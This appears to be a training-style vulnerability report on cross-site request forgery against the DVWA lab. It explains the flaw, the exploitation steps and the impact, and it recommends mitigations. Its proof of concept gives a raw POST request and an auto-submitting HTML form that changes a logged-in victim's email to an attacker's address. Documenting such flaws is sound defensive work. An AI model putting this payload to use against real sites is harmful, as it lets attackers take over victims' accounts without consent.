Vulnerability Report: Cross-Site Request Forgery (CSRF)

1. General Information

- Vulnerability Name: Cross-Site Request Forgery (CSRF)
- Vulnerability Type: Forged Cross-Site Requests
- Date Discovered: 6/25/2025
- Target System: dvwa.com
- Severity Level: High
- Reported By: maryam ahmad

2. Vulnerability Description

CSRF is a web security vulnerability that tricks an authenticated user into unknowingly submitting unwanted requests to a web application where they are currently authenticated. This can lead to unauthorized actions performed with the victim's privileges.

Example:
If a user is logged into a banking site, an attacker can trick them into making a fund transfer or changing their password without their consent.

3. Exploitation Steps

3.1 Prerequisites:

- The user must be logged in and authenticated on the target site.
- The site does not properly verify the validity or origin of requests.

3.2 Exploitation Process:

1. The attacker crafts a malicious webpage containing an HTTP request (GET or POST) targeting the victim site.
2. When the victim visits this malicious page, the crafted request is automatically sent with

the victim’s session cookies.
3. The target site processes the request as if it were legitimate from the authenticated user.

4. Proof of Concept (PoC)

An example of an HTTP POST request to exploit a CSRF vulnerability on an email change form:

```
POST /user/change_email HTTP/1.1
Host: vulnerable-site.com
Cookie: sessionid=abcd1234

email=attacker@example.com
```

This request can be embedded in a malicious HTML page as follows:

```
<html>
  <body>
    <form action="http://vulnerable-site.com/user/change_email" method="POST"
id="csrfForm">
      <input type="hidden" name="email" value="attacker@example.com" />
    </form>
    <script>
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>
```

5. Impact

- Theft or modification of personal data
- Unauthorized financial transactions
- Account settings changes
- Privilege escalation for the attacker

6. Recommendations and Mitigations

Recommendation	Description
Implement CSRF Tokens	Use unique, unpredictable tokens in each user session and verify them on each request.
Validate Origin and Referer headers	Confirm requests originate from the same site.
Use SameSite Cookies	Restrict cookies to same-site requests to prevent CSRF.
Require CAPTCHA or re-authentication	For sensitive operations, add an additional layer of verification.
Avoid sensitive actions via GET requests	Use POST requests only, with proper CSRF checks.